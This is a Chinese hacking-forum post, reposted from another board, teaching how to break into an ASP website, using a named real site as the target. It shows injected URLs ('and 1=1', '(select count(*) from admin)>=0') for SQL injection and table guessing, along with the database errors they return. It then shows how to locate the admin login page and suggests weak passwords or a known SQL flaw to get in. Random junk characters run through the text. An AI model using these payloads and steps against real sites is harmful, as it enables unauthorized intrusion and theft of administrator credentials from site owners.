- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
作者:枫三少 转自:黑基bbs原创作品版- h9 r6 J6 a3 _5 p4 M! {6 B. `
6 E# L" U' o$ q: E有很多人问过我这个问题。老是听说,看到文章里谁谁谁怎么分析别人的代码怎么来入侵的。那么怎么找代码呢? w. b% o* g0 P/ p
& u4 o' g! S' n( V' i9 h$ i分析代码,首先你得有源代码。如果找源代码呢?呵呵,假如是分析DV的,就下一个DV的来,看看他的代码。
0 C8 ]* q) \4 l. h' [: V0 V! [8 P- ?9 c, q
在实战中往往因为时间的愿意我们采用的还有从HTML代码入手。
6 q; Y$ q+ w k5 N( ?8 X
: E: T: X4 }5 J这里我简单的介绍一个过程吧。) ~7 m3 B1 E! o. ]9 \( u, M$ K& i! k
' C9 b! l+ o1 S% A5 ^0 @2 v
首先我找到一个网站,是我们基地首页有连接的
D2 R2 q5 N/ X" s; s( ^5 m7 ehttp://www.16china.com/hack/3 `& G5 I# n4 r u9 W" s
0 w9 u7 {: H( I1 `2 i随便选择一个分页:/ J5 s" d4 P/ K: E$ L' Q
http://www.16china.com/hack/SoftView.Asp?SoftID=139* ~- f( D6 j) W$ \ x$ Y
典型的ASP。看看能不能注射
$ }* L' ?% p- J# ]4 x. g" l$ nhttp://www.16china.com/hack/SoftView.Asp?SoftID=139'. x& f0 @" C, U/ _- g5 A% `) \
返回:3 ] _3 l" ?) a/ ]' n' ?
Microsoft VBScript 编译器错误 错误 '800a03f6'
' J/ @) y* x5 V5 r" r3 Q
* V( b) ?& ~3 ^ w+ l, t缺少 'End' / |+ g* b0 l" Z% t
# v6 Y* D9 X" P L) U/iisHelp/common/500-100.asp,行242 . J! R) i2 r% |* J% E" w
% Q6 M% s2 U7 Y6 NMicrosoft JET Database Engine 错误 '80040e14'
/ C5 I# D) m& J& _6 w
4 K1 F& K) v/ P7 u9 f+ T字符串的语法错误 在查询表达式 'SoftInfo.CateID=Category.CateID and SoftInfo.SubID=SubCate.SubID and SoftInfo.SoftID=139'' 中。 7 ^6 s/ B6 q: J+ \) r9 A4 X. y2 W
+ ~2 ~* R, j4 H/ a5 M/hack/SoftView.Asp,行17
0 P* R% z$ E3 s n! b0 v3 O2 Q再来:# [! W% X4 ~- Q+ [- T
http://www.16china.com/hack/SoftView.Asp?SoftID=139%20and%201=15 F' c6 m$ z( |) b/ X
返回正常网页。
0 O' E8 e. G" \( C7 _$ u# O3 A! e2 K5 }$ _% ?9 j! B. T; L
提交:
% v- `! ~' o; u% j4 A" ~http://www.16china.com/hack/Soft ... %20(select%20count(*)%20from%20admin)>=0
n6 l7 ^3 n* i% B
+ }9 O8 J2 u" Q4 K返回正常页/
+ Q0 V4 h7 d$ j8 q2 d" g* }http://www.16china.com/hack/Soft ... %20(select%20count(*)%20from%20article)>=0
% f, h3 A, G) U! A, K7 ^- m: |3 e# z" n7 y3 n
同样正常。
' W& C! ~; H0 C9 b% x( O9 c! p3 P5 w* @& o
http://www.16china.com/hack/Soft ... )%20from%20article)>=0
+ }& f( R. I, q6 c, @' Q
3 N) U! ~+ h" j6 }8 D……2 q2 J6 |% v1 Y" Y# q
& z+ }2 `! f0 ~& I7 ?" ^) K
象上面这样我们就可以成功注射网站。那么在拿到管理员帐号密码后如何找后台
0 P5 x% Y, Q4 a按以往的经验我采用:6 c2 f8 @$ A/ H* T
http://www.16china.com/hack/admin /*这里的”ADMIN“可以用LOGIN等替换*/
2 c [8 u2 m+ @1 @- ?我为什么不用http://www.16china.com/hack/admin.asp
1 ]( H" V0 ~: g$ }% vhttp://www.16china.com/hack/admin/index.asp呢?因为我不知道他文件夹里的东西有没有被修改。如果存在ADMIN文件夹,但是并不是常用首页的话IE将返回如“你没有权限浏览网页……”等信息,一般来说我们可以确定后台就在那里。
& T% \9 T* {8 W3 w' [# k' vhttp://www.16china.com/hack/admin返回信息:
& v3 j2 }& H1 [1 J p* K0 \8 `错误提示信息! ( J6 K/ @& l& D: M; ^% c
产生错误的可能原因:' `/ A( A9 i Y V v
+ J& q( |" d" t4 j9 `. E
% T2 f* j% s' S. ^% ?您没有进入本页面的权限!本次操作已被记录!; ^9 D5 A/ H! b% X+ o& P
可能您还没有登陆或者不具有使用当前功能的权限!请联系管理员.
9 E' X1 @& \3 |2 x( x Z本页面为[管理员]专用,请先登陆后进入.( j v& s0 W" ?9 R+ p7 G( s6 p4 B
2 p( W* w& s6 M* }3 T2 z9 U
返回上一页... /*说明登陆URL为常用的如:index.asp...*/# g' w: W& @. v$ A9 M/ J9 I
查看HTML代码:; P8 r1 t! l! X" [' V1 P
<html><head><title>错误提示信息!</title>
! z, Y: {; @# W3 m6 K$ {- j$ n- D: v# U+ G! _: {
……
% O: }# I: ^5 }. h! @& n+ B/ A8 Q7 `: B; N( S/ S. k
<a href=adminlogin.asp class=meun target=_top>登陆</a>后进入.
( Q8 a/ I# i, D; t4 H8 K- s……+ D' x8 Z0 B2 Y8 P4 ^
; a2 G" R2 X4 u6 i( O找到了:
, g4 B6 K$ c w& t `http://www.16china.com/hack/admin/adminlogin.asp8 t$ |- |& G7 x% y
" R, W ^3 [/ z6 r# D
% p; m( D# h2 j' O, V: }4 O看看他的源代码告诉我们些什么:
9 r" A6 _3 U( w$ p1 b8 ?+ x( m- E! B& P7 ]" `, _& P G
<html>
" x2 k4 y3 G4 Q5 ]# D8 e) z. e! y. k4 t( n0 G
<head>6 ^( X4 E) G9 F, m9 m
<title>管理员登陆</title>0 b, u4 l# i1 v _
9 @- Y6 d2 i3 R7 g
……………2 k1 n4 G0 {0 w# ]) E! [" R
0 b1 F; z+ d( T+ K& n1 S
关于数据库表名这些这里不多讲,看看,如果我们输入正确的帐号密码将回进入- O4 k( n; d# {: _* z: A
http://www.16china.com/hack/admin/adminlogin.asp?action=login
2 }. F O- D* w: }% ^这里。
% p0 E m: T! | g# _: [9 K
/ L: y9 t" B/ s& Q* B& W; n只要知道了后台,我们就有很多办法,如弱口令,SQL本地执行(赢政下载系统)……6 J2 B Z3 F; A! o
; T& E. f- B! c. Y+ a4 D( O* g
懂了吗?好了,时间关系加上本人技术原因就写到这里吧。不懂的可以跟贴,大家一起讨论一下:) |
zan
|